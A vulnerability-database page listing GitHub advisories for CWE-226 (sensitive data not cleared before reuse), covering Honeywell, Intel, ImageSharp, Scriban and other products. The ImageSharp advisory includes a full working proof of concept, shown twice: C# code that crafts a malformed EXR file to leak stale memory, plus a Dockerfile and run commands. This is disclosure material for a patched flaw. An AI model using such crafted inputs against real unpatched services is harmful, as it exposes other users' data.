Common Weakness Enumeration
CWE-226
AllowedSensitive Information in Resource Not Removed Before Reuse
Abstraction: Base · Status: Draft
The product releases a resource such as memory or a file so that it can be made available for reuse, but it does not clear or "zeroize" the information contained in the resource before the product performs a critical state transition or makes the resource available for reuse by other entities.
75 vulnerabilities reference this CWE, most recent first.
GHSA-3PC5-RVW8-V64M
Vulnerability from github – Published: 2025-07-10 21:31 – Updated: 2025-07-10 21:31
VLAI
Details
The Honeywell Experion PKS and OneWireless WDM
contains Sensitive Information in Resource vulnerability in the component Control Data Access (CDA). An attacker could potentially exploit this vulnerability, leading to a Communication Channel Manipulation, which could result in buffer reuse which may cause incorrect system behavior.
Honeywell also recommends updating to the most recent version of
Honeywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1 and OneWireless: 322.5 and 331.1.
The affected Experion PKS products are
C300, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are 520.1 before
520.2 TCU9 HF1 and 530 before 530 TCU3. The OneWireless WDM affected versions are 322.1 through 322.4 and 330.1 through 330.3.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-2522"
],
"database_specific": {
"cwe_ids": [
"CWE-226"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-10T21:15:27Z",
"severity": "MODERATE"
},
"details": "The Honeywell Experion PKS\u00a0and OneWireless WDM \n\n contains Sensitive Information in Resource vulnerability in the component Control Data Access (CDA). An attacker could potentially exploit this vulnerability, leading to a Communication Channel Manipulation, which could result in buffer reuse which may cause incorrect system behavior.\n\nHoneywell also recommends updating to the most recent version of \n\nHoneywell Experion PKS:520.2 TCU9 HF1 and 530.1 TCU3 HF1 and OneWireless: 322.5 and 331.1.\u00a0\n\nThe affected Experion PKS products are \n\n\n\nC300, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are 520.1 before \n\n520.2 TCU9 HF1 and 530 before 530 TCU3. The OneWireless WDM affected versions are 322.1 through 322.4 and 330.1 through 330.3.",
"id": "GHSA-3pc5-rvw8-v64m",
"modified": "2025-07-10T21:31:54Z",
"published": "2025-07-10T21:31:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2522"
},
{
"type": "WEB",
"url": "https://process.honeywell.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3WG2-58MC-3XGH
Vulnerability from github – Published: 2025-11-11 18:30 – Updated: 2025-11-11 18:30
VLAI
Details
Sensitive information uncleared in resource before release for reuse for some Intel(R) NPU Drivers for Windows before version 32.0.100.4023 within Ring 3: User Applications may allow an information disclosure. Unprivileged software adversary with an authenticated user combined with a low complexity attack may enable data exposure. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (low), integrity (none) and availability (none) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.
Severity
{
"affected": [],
"aliases": [
"CVE-2025-20622"
],
"database_specific": {
"cwe_ids": [
"CWE-226"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-11T17:15:40Z",
"severity": "LOW"
},
"details": "Sensitive information uncleared in resource before release for reuse for some Intel(R) NPU Drivers for Windows before version 32.0.100.4023 within Ring 3: User Applications may allow an information disclosure. Unprivileged software adversary with an authenticated user combined with a low complexity attack may enable data exposure. This result may potentially occur via local access when attack requirements are present without special internal knowledge and requires no user interaction. The potential vulnerability may impact the confidentiality (low), integrity (none) and availability (none) of the vulnerable system, resulting in subsequent system confidentiality (none), integrity (none) and availability (none) impacts.",
"id": "GHSA-3wg2-58mc-3xgh",
"modified": "2025-11-11T18:30:18Z",
"published": "2025-11-11T18:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-20622"
},
{
"type": "WEB",
"url": "https://intel.com/content/www/us/en/security-center/advisory/intel-sa-01304.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4Q3P-RJ5X-XV7P
Vulnerability from github – Published: 2026-10-07 20:24 – Updated: 2026-10-07 20:24
VLAI
Summary
ImageSharp: EXR ZIP decoder can expose stale allocator data after a short inflate
Details
Summary
A crafted ZIP-compressed OpenEXR image can return stale memory from a prior ImageSharp operation as decoded pixels. The ZIP decoder accepts a non-empty inflate result shorter than the EXR block's required size, then the EXR decoder reads the full expected block.
This is a process-local, cross-operation information-disclosure defect. It is
relevant when an application uses the shared Configuration.Default allocator
for separate image operations and exposes pixels or output derived from a later
attacker-controlled EXR decode. Whether that creates a network attack path
depends on the host application.
No active exploitation is known.
Affected package and versions
- Package:
SixLabors.ImageSharp(NuGet) - Affected published releases: 4.0.0, 4.1.0, and 4.1.1
- Affected range:
>= 4.0.0, <= 4.1.1 - Commit
0815358f9202a78bc7f3b83e19282dc3654b500fcorresponds to release v4.1.1.
EXR support first appears in v4.0.0. The cross-operation PoC exposes the prior-operation marker on each published 4.x release, while the full-inflate control does not expose it on any of them.
Details
For ZIP/ZIPS EXR compression, ExrDecoderCore
allocates the expected block buffer without AllocationOptions.Clean and later
interprets the complete buffer as channel data. ZipExrCompression
accepts a partial but non-empty inflate result: UndoZipCompression
rejects only totalRead == 0.
Only the returned prefix is reconstructed and interleaved into the destination
block. The remaining bytes retain allocator contents from a completed prior
operation. ExrDecoderCore then converts those bytes into returned image
pixels.
Reproduction
The attached Docker PoC uses the published SixLabors.ImageSharp NuGet package
version 4.1.1. It first completes a valid 64x1 FLOAT/ZIPS EXR encoding that
contains the test value 0.27182817. It then decodes a separate crafted 256x1
FLOAT/ZIPS EXR.
The exploit payload inflates to 8 bytes although the declared image block needs 1024 bytes. The control payload inflates to all 1024 bytes. The marker is present only in exploit output.
docker build -t imagesharp-4q3p-poc .
docker run --rm imagesharp-4q3p-poc exploit
docker run --rm imagesharp-4q3p-poc control
Test environment: Docker with mcr.microsoft.com/dotnet/sdk:8.0, .NET SDK
8.0.424 / .NET 8, Debian 12, Linux ARM64.
Observed output:
imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
mode=exploit
prior-operation=valid-exr-encode-completed bytes=383
prior-value=0.27182817
leaked=True first-prior-value-pixel=4
imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
mode=control
prior-operation=valid-exr-encode-completed bytes=383
prior-value=0.27182817
leaked=False first-prior-value-pixel=-1
Suggested remediation
Reject ZIP/ZIPS EXR blocks unless the decompressor produces exactly the expected uncompressed byte count. Clearing the destination buffer is defense in depth, but exact-length validation is required before parsing any decompressed bytes.
Complete PoC files
Program.cs:
using System.Buffers.Binary;
using System.Globalization;
using System.IO.Compression;
using System.Reflection;
using System.Text;
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats;
using SixLabors.ImageSharp.Formats.Exr;
using SixLabors.ImageSharp.Formats.Exr.Constants;
using SixLabors.ImageSharp.PixelFormats;
// This performs two independent completed ImageSharp operations in one process.
// The first is a valid EXR encoding containing a test value. The second is a
// malformed EXR decode whose short ZIP result exposes that value from the
// allocator shared through Configuration.Default.
internal static class Program
{
private const int PriorWidth = 64;
private const int AttackerWidth = 256;
private const float PriorValue = 0.271828182f;
private static int Main(string[] args)
{
bool exploit = args.Length == 0 || args[0] == "exploit";
if (args.Length > 0 && args[0] is not ("exploit" or "control"))
{
Console.Error.WriteLine("usage: final-4q3p [exploit|control]");
return 2;
}
Assembly imageSharp = typeof(Image).Assembly;
string informationalVersion = imageSharp
.GetCustomAttribute<AssemblyInformationalVersionAttribute>()?
.InformationalVersion
?? "(missing)";
Console.WriteLine($"imagesharp-assembly={imageSharp.GetName().Version} informational-version={informationalVersion}");
Console.WriteLine($"mode={(exploit ? "exploit" : "control")}");
EncodePriorOperation();
// Both variants declare a 256 x 1 FLOAT/ZIPS image, requiring 1024
// uncompressed bytes. The control payload supplies all 1024 bytes.
// The exploit payload supplies eight non-empty bytes.
byte[] exr = BuildAttackerExr(exploit ? 8 : AttackerWidth * sizeof(float));
using Image<RgbaVector> result = Image.Load<RgbaVector>(
new DecoderOptions { Configuration = Configuration.Default },
new MemoryStream(exr));
result.DangerousTryGetSinglePixelMemory(out Memory<RgbaVector> memory);
int firstLeak = FindPriorValue(memory.Span);
Console.WriteLine($"prior-value={PriorValue.ToString("R", CultureInfo.InvariantCulture)}");
Console.WriteLine($"leaked={firstLeak >= 0} first-prior-value-pixel={firstLeak}");
if ((firstLeak >= 0) != exploit)
{
Console.Error.WriteLine("unexpected disclosure result");
return 1;
}
return 0;
}
private static void EncodePriorOperation()
{
using var previousImage = new Image<RgbaVector>(PriorWidth, 1);
for (int x = 0; x < PriorWidth; x++)
{
previousImage[x, 0] = new RgbaVector(PriorValue, 0.125f, 0.5f, 1f);
}
using var encoded = new MemoryStream();
previousImage.Save(encoded, new ExrEncoder
{
Compression = ExrCompression.Zips,
PixelType = ExrPixelType.Float,
});
Console.WriteLine($"prior-operation=valid-exr-encode-completed bytes={encoded.Length}");
}
private static int FindPriorValue(ReadOnlySpan<RgbaVector> pixels)
{
int expectedBits = BitConverter.SingleToInt32Bits(PriorValue);
for (int x = 0; x < pixels.Length; x++)
{
if (BitConverter.SingleToInt32Bits(pixels[x].R) == expectedBits)
{
return x;
}
}
return -1;
}
private static byte[] BuildAttackerExr(int inflatedBytes)
{
byte[] compressed = ZlibCompress(new byte[inflatedBytes]);
using var output = new MemoryStream();
using var writer = new BinaryWriter(output);
writer.Write(new byte[] { 0x76, 0x2F, 0x31, 0x01 }); // OpenEXR magic
writer.Write((byte)2);
writer.Write(new byte[] { 0, 0, 0 });
using (var channels = new MemoryStream())
using (var channelWriter = new BinaryWriter(channels))
{
WriteString(channelWriter, "R");
channelWriter.Write(2); // FLOAT
channelWriter.Write((byte)0);
channelWriter.Write(new byte[] { 0, 0, 0 });
channelWriter.Write(1);
channelWriter.Write(1);
channelWriter.Write((byte)0);
WriteAttribute(writer, "channels", "chlist", channels.ToArray());
}
WriteAttribute(writer, "compression", "compression", new byte[] { 2 }); // ZIPS
WriteBox(writer, "dataWindow");
WriteBox(writer, "displayWindow");
WriteAttribute(writer, "lineOrder", "lineOrder", new byte[] { 0 });
byte[] one = new byte[4];
BinaryPrimitives.WriteSingleLittleEndian(one, 1F);
WriteAttribute(writer, "pixelAspectRatio", "float", one);
WriteAttribute(writer, "screenWindowCenter", "v2f", new byte[8]);
WriteAttribute(writer, "screenWindowWidth", "float", one);
writer.Write((byte)0); // end of header
long chunkOffset = output.Position + sizeof(ulong);
writer.Write((ulong)chunkOffset);
writer.Write((uint)0); // scanline
writer.Write((uint)compressed.Length);
writer.Write(compressed);
writer.Flush();
return output.ToArray();
}
private static void WriteBox(BinaryWriter writer, string name)
{
using var value = new MemoryStream();
using (var box = new BinaryWriter(value, Encoding.ASCII, leaveOpen: true))
{
box.Write(0);
box.Write(0);
box.Write(AttackerWidth - 1);
box.Write(0);
}
WriteAttribute(writer, name, "box2i", value.ToArray());
}
private static byte[] ZlibCompress(byte[] source)
{
using var compressed = new MemoryStream();
using (var zlib = new ZLibStream(compressed, CompressionLevel.Optimal, leaveOpen: true))
{
zlib.Write(source, 0, source.Length);
}
return compressed.ToArray();
}
private static void WriteAttribute(BinaryWriter writer, string name, string type, byte[] value)
{
WriteString(writer, name);
WriteString(writer, type);
writer.Write(value.Length);
writer.Write(value);
}
private static void WriteString(BinaryWriter writer, string value)
{
writer.Write(Encoding.ASCII.GetBytes(value));
writer.Write((byte)0);
}
}
Project file:
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net8.0</TargetFramework>
<Nullable>enable</Nullable>
<ImplicitUsings>enable</ImplicitUsings>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" />
</ItemGroup>
</Project>
Dockerfile:
FROM mcr.microsoft.com/dotnet/sdk:8.0
WORKDIR /poc
COPY final-4q3p.csproj Program.cs ./
# Debug is intentional: ImageSharp 4.1.1's package build target reports a
# missing-license warning rather than an error in this configuration. The
# program is still compiled against the published 4.1.1 NuGet assembly.
RUN dotnet restore && dotnet build -c Debug --no-restore
ENTRYPOINT ["dotnet", "bin/Debug/net8.0/final-4q3p.dll"]
Run:
docker build -t imagesharp-4q3p-poc .
docker run --rm imagesharp-4q3p-poc exploit
docker run --rm imagesharp-4q3p-poc control
Severity
5.9 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.1"
},
"package": {
"ecosystem": "NuGet",
"name": "SixLabors.ImageSharp"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-106111"
],
"database_specific": {
"cwe_ids": [
"CWE-226"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-07T20:24:42Z",
"nvd_published_at": "2026-10-06T18:16:52Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nA crafted ZIP-compressed OpenEXR image can return stale memory from a prior\nImageSharp operation as decoded pixels. The ZIP decoder accepts a non-empty\ninflate result shorter than the EXR block\u0027s required size, then the EXR decoder\nreads the full expected block.\n\nThis is a process-local, cross-operation information-disclosure defect. It is\nrelevant when an application uses the shared `Configuration.Default` allocator\nfor separate image operations and exposes pixels or output derived from a later\nattacker-controlled EXR decode. Whether that creates a network attack path\ndepends on the host application.\n\nNo active exploitation is known.\n\n## Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected published releases: **4.0.0, 4.1.0, and 4.1.1**\n- Affected range: `\u003e= 4.0.0, \u003c= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nEXR support first appears in v4.0.0. The cross-operation PoC exposes the prior-operation marker on each published 4.x release, while the full-inflate control does not expose it on any of them.\n## Details\n\nFor ZIP/ZIPS EXR compression, [`ExrDecoderCore`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/ExrDecoderCore.cs#L169-L205)\nallocates the expected block buffer without `AllocationOptions.Clean` and later\ninterprets the complete buffer as channel data. [`ZipExrCompression`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/Compression/Decompressors/ZipExrCompression.cs#L25-L38)\naccepts a partial but non-empty inflate result: [`UndoZipCompression`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/Compression/ExrBaseDecompressor.cs#L45-L75)\nrejects only `totalRead == 0`.\n\nOnly the returned prefix is reconstructed and interleaved into the destination\nblock. The remaining bytes retain allocator contents from a completed prior\noperation. `ExrDecoderCore` then converts those bytes into returned image\npixels.\n\n## Reproduction\n\nThe attached Docker PoC uses the published `SixLabors.ImageSharp` NuGet package\nversion 4.1.1. It first completes a valid 64x1 FLOAT/ZIPS EXR encoding that\ncontains the test value `0.27182817`. It then decodes a separate crafted 256x1\nFLOAT/ZIPS EXR.\n\nThe exploit payload inflates to 8 bytes although the declared image block needs\n1024 bytes. The control payload inflates to all 1024 bytes. The marker is\npresent only in exploit output.\n\n```sh\ndocker build -t imagesharp-4q3p-poc .\ndocker run --rm imagesharp-4q3p-poc exploit\ndocker run --rm imagesharp-4q3p-poc control\n```\n\nTest environment: Docker with `mcr.microsoft.com/dotnet/sdk:8.0`, .NET SDK\n8.0.424 / .NET 8, Debian 12, Linux ARM64.\n\nObserved output:\n\n```text\nimagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f\nmode=exploit\nprior-operation=valid-exr-encode-completed bytes=383\nprior-value=0.27182817\nleaked=True first-prior-value-pixel=4\n\nimagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f\nmode=control\nprior-operation=valid-exr-encode-completed bytes=383\nprior-value=0.27182817\nleaked=False first-prior-value-pixel=-1\n```\n\n## Suggested remediation\n\nReject ZIP/ZIPS EXR blocks unless the decompressor produces exactly the expected\nuncompressed byte count. Clearing the destination buffer is defense in depth,\nbut exact-length validation is required before parsing any decompressed bytes.\n\n\n### Complete PoC files\n\nProgram.cs:\n\n```csharp\nusing System.Buffers.Binary;\nusing System.Globalization;\nusing System.IO.Compression;\nusing System.Reflection;\nusing System.Text;\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.Formats;\nusing SixLabors.ImageSharp.Formats.Exr;\nusing SixLabors.ImageSharp.Formats.Exr.Constants;\nusing SixLabors.ImageSharp.PixelFormats;\n\n// This performs two independent completed ImageSharp operations in one process.\n// The first is a valid EXR encoding containing a test value. The second is a\n// malformed EXR decode whose short ZIP result exposes that value from the\n// allocator shared through Configuration.Default.\ninternal static class Program\n{\n private const int PriorWidth = 64;\n private const int AttackerWidth = 256;\n private const float PriorValue = 0.271828182f;\n\n private static int Main(string[] args)\n {\n bool exploit = args.Length == 0 || args[0] == \"exploit\";\n if (args.Length \u003e 0 \u0026\u0026 args[0] is not (\"exploit\" or \"control\"))\n {\n Console.Error.WriteLine(\"usage: final-4q3p [exploit|control]\");\n return 2;\n }\n\n Assembly imageSharp = typeof(Image).Assembly;\n string informationalVersion = imageSharp\n .GetCustomAttribute\u003cAssemblyInformationalVersionAttribute\u003e()?\n .InformationalVersion\n ?? \"(missing)\";\n Console.WriteLine($\"imagesharp-assembly={imageSharp.GetName().Version} informational-version={informationalVersion}\");\n Console.WriteLine($\"mode={(exploit ? \"exploit\" : \"control\")}\");\n\n EncodePriorOperation();\n\n // Both variants declare a 256 x 1 FLOAT/ZIPS image, requiring 1024\n // uncompressed bytes. The control payload supplies all 1024 bytes.\n // The exploit payload supplies eight non-empty bytes.\n byte[] exr = BuildAttackerExr(exploit ? 8 : AttackerWidth * sizeof(float));\n using Image\u003cRgbaVector\u003e result = Image.Load\u003cRgbaVector\u003e(\n new DecoderOptions { Configuration = Configuration.Default },\n new MemoryStream(exr));\n\n result.DangerousTryGetSinglePixelMemory(out Memory\u003cRgbaVector\u003e memory);\n int firstLeak = FindPriorValue(memory.Span);\n\n Console.WriteLine($\"prior-value={PriorValue.ToString(\"R\", CultureInfo.InvariantCulture)}\");\n Console.WriteLine($\"leaked={firstLeak \u003e= 0} first-prior-value-pixel={firstLeak}\");\n\n if ((firstLeak \u003e= 0) != exploit)\n {\n Console.Error.WriteLine(\"unexpected disclosure result\");\n return 1;\n }\n\n return 0;\n }\n\n private static void EncodePriorOperation()\n {\n using var previousImage = new Image\u003cRgbaVector\u003e(PriorWidth, 1);\n for (int x = 0; x \u003c PriorWidth; x++)\n {\n previousImage[x, 0] = new RgbaVector(PriorValue, 0.125f, 0.5f, 1f);\n }\n\n using var encoded = new MemoryStream();\n previousImage.Save(encoded, new ExrEncoder\n {\n Compression = ExrCompression.Zips,\n PixelType = ExrPixelType.Float,\n });\n\n Console.WriteLine($\"prior-operation=valid-exr-encode-completed bytes={encoded.Length}\");\n }\n\n private static int FindPriorValue(ReadOnlySpan\u003cRgbaVector\u003e pixels)\n {\n int expectedBits = BitConverter.SingleToInt32Bits(PriorValue);\n for (int x = 0; x \u003c pixels.Length; x++)\n {\n if (BitConverter.SingleToInt32Bits(pixels[x].R) == expectedBits)\n {\n return x;\n }\n }\n\n return -1;\n }\n\n private static byte[] BuildAttackerExr(int inflatedBytes)\n {\n byte[] compressed = ZlibCompress(new byte[inflatedBytes]);\n using var output = new MemoryStream();\n using var writer = new BinaryWriter(output);\n\n writer.Write(new byte[] { 0x76, 0x2F, 0x31, 0x01 }); // OpenEXR magic\n writer.Write((byte)2);\n writer.Write(new byte[] { 0, 0, 0 });\n\n using (var channels = new MemoryStream())\n using (var channelWriter = new BinaryWriter(channels))\n {\n WriteString(channelWriter, \"R\");\n channelWriter.Write(2); // FLOAT\n channelWriter.Write((byte)0);\n channelWriter.Write(new byte[] { 0, 0, 0 });\n channelWriter.Write(1);\n channelWriter.Write(1);\n channelWriter.Write((byte)0);\n WriteAttribute(writer, \"channels\", \"chlist\", channels.ToArray());\n }\n\n WriteAttribute(writer, \"compression\", \"compression\", new byte[] { 2 }); // ZIPS\n WriteBox(writer, \"dataWindow\");\n WriteBox(writer, \"displayWindow\");\n WriteAttribute(writer, \"lineOrder\", \"lineOrder\", new byte[] { 0 });\n\n byte[] one = new byte[4];\n BinaryPrimitives.WriteSingleLittleEndian(one, 1F);\n WriteAttribute(writer, \"pixelAspectRatio\", \"float\", one);\n WriteAttribute(writer, \"screenWindowCenter\", \"v2f\", new byte[8]);\n WriteAttribute(writer, \"screenWindowWidth\", \"float\", one);\n writer.Write((byte)0); // end of header\n\n long chunkOffset = output.Position + sizeof(ulong);\n writer.Write((ulong)chunkOffset);\n writer.Write((uint)0); // scanline\n writer.Write((uint)compressed.Length);\n writer.Write(compressed);\n writer.Flush();\n return output.ToArray();\n }\n\n private static void WriteBox(BinaryWriter writer, string name)\n {\n using var value = new MemoryStream();\n using (var box = new BinaryWriter(value, Encoding.ASCII, leaveOpen: true))\n {\n box.Write(0);\n box.Write(0);\n box.Write(AttackerWidth - 1);\n box.Write(0);\n }\n\n WriteAttribute(writer, name, \"box2i\", value.ToArray());\n }\n\n private static byte[] ZlibCompress(byte[] source)\n {\n using var compressed = new MemoryStream();\n using (var zlib = new ZLibStream(compressed, CompressionLevel.Optimal, leaveOpen: true))\n {\n zlib.Write(source, 0, source.Length);\n }\n\n return compressed.ToArray();\n }\n\n private static void WriteAttribute(BinaryWriter writer, string name, string type, byte[] value)\n {\n WriteString(writer, name);\n WriteString(writer, type);\n writer.Write(value.Length);\n writer.Write(value);\n }\n\n private static void WriteString(BinaryWriter writer, string value)\n {\n writer.Write(Encoding.ASCII.GetBytes(value));\n writer.Write((byte)0);\n }\n}\n\n```\n\nProject file:\n\n```xml\n\u003cProject Sdk=\"Microsoft.NET.Sdk\"\u003e\n \u003cPropertyGroup\u003e\n \u003cOutputType\u003eExe\u003c/OutputType\u003e\n \u003cTargetFramework\u003enet8.0\u003c/TargetFramework\u003e\n \u003cNullable\u003eenable\u003c/Nullable\u003e\n \u003cImplicitUsings\u003eenable\u003c/ImplicitUsings\u003e\n \u003c/PropertyGroup\u003e\n \u003cItemGroup\u003e\n \u003cPackageReference Include=\"SixLabors.ImageSharp\" Version=\"4.1.1\" /\u003e\n \u003c/ItemGroup\u003e\n\u003c/Project\u003e\n\n```\n\nDockerfile:\n\n```dockerfile\nFROM mcr.microsoft.com/dotnet/sdk:8.0\n\nWORKDIR /poc\nCOPY final-4q3p.csproj Program.cs ./\n\n# Debug is intentional: ImageSharp 4.1.1\u0027s package build target reports a\n# missing-license warning rather than an error in this configuration. The\n# program is still compiled against the published 4.1.1 NuGet assembly.\nRUN dotnet restore \u0026\u0026 dotnet build -c Debug --no-restore\n\nENTRYPOINT [\"dotnet\", \"bin/Debug/net8.0/final-4q3p.dll\"]\n\n```\n\nRun:\n\n```sh\ndocker build -t imagesharp-4q3p-poc .\ndocker run --rm imagesharp-4q3p-poc exploit\ndocker run --rm imagesharp-4q3p-poc control\n```",
"id": "GHSA-4q3p-rj5x-xv7p",
"modified": "2026-10-07T20:24:42Z",
"published": "2026-10-07T20:24:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-4q3p-rj5x-xv7p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106111"
},
{
"type": "WEB",
"url": "https://github.com/SixLabors/ImageSharp/pull/3187"
},
{
"type": "WEB",
"url": "https://github.com/SixLabors/ImageSharp/commit/3c43cf583fdd98eff0f451397affaa31c6a2e6b1"
},
{
"type": "WEB",
"url": "https://github.com/SixLabors/ImageSharp/commit/6ed2a275217d39301e76df42acec2a9533b39d2b"
},
{
"type": "PACKAGE",
"url": "https://github.com/SixLabors/ImageSharp"
},
{
"type": "WEB",
"url": "https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "ImageSharp: EXR ZIP decoder can expose stale allocator data after a short inflate"
}
GHSA-58JR-9C6G-55JQ
Vulnerability from github – Published: 2026-08-16 15:30 – Updated: 2026-08-16 15:30
VLAI
Details
Scriban before 7.0.0 fails to clear the CachedTemplates dictionary when TemplateContext.Reset() is called, allowing cached templates to persist across reused contexts. Attackers can exploit request-dependent ITemplateLoader implementations to access previously authorized template content from earlier renders without triggering TemplateLoader.Load() again.
Severity
8.6 (High)
{
"affected": [],
"aliases": [
"CVE-2026-74791"
],
"database_specific": {
"cwe_ids": [
"CWE-226"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-16T14:16:57Z",
"severity": "CRITICAL"
},
"details": "Scriban before 7.0.0 fails to clear the CachedTemplates dictionary when TemplateContext.Reset() is called, allowing cached templates to persist across reused contexts. Attackers can exploit request-dependent ITemplateLoader implementations to access previously authorized template content from earlier renders without triggering TemplateLoader.Load() again.",
"id": "GHSA-58jr-9c6g-55jq",
"modified": "2026-08-16T15:30:27Z",
"published": "2026-08-16T15:30:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/scriban/scriban/security/advisories/GHSA-x6m9-38vm-2xhf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-74791"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/scriban-before-authorization-bypass-via-stale-include-cache"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5FXQ-QJMC-32R8
Vulnerability from github – Published: 2026-03-21 15:33 – Updated: 2026-03-21 15:33
VLAI
Details
Lyric Video Creator 2.1 contains a denial of service vulnerability that allows attackers to crash the application by processing malformed MP3 files. Attackers can create a crafted MP3 file with an oversized buffer and trigger the crash by opening the file through the Browse song functionality.
Severity
{
"affected": [],
"aliases": [
"CVE-2019-25560"
],
"database_specific": {
"cwe_ids": [
"CWE-226"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-21T13:16:18Z",
"severity": "HIGH"
},
"details": "Lyric Video Creator 2.1 contains a denial of service vulnerability that allows attackers to crash the application by processing malformed MP3 files. Attackers can create a crafted MP3 file with an oversized buffer and trigger the crash by opening the file through the Browse song functionality.",
"id": "GHSA-5fxq-qjmc-32r8",
"modified": "2026-03-21T15:33:23Z",
"published": "2026-03-21T15:33:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25560"
},
{
"type": "WEB",
"url": "https://lyricvideocreator.com"
},
{
"type": "WEB",
"url": "https://lyricvideocreator.com/dwl/LyricVideoCreator.exe"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/46816"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/lyric-video-creator-denial-of-service-via-mp3-file"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5J9P-9Q2X-WXJM
Vulnerability from github – Published: 2026-08-15 00:31 – Updated: 2026-08-15 00:31
VLAI
Details
In OpenStack Ironic before 38.0.1, the autodetect deploy interface may fail to run cleaning immediately after enrollment with, or changing to, the autodetect deploy interface.
Severity
6.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-74250"
],
"database_specific": {
"cwe_ids": [
"CWE-226"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-14T23:16:34Z",
"severity": "MODERATE"
},
"details": "In OpenStack Ironic before 38.0.1, the autodetect deploy interface may fail to run cleaning immediately after enrollment with, or changing to, the autodetect deploy interface.",
"id": "GHSA-5j9p-9q2x-wxjm",
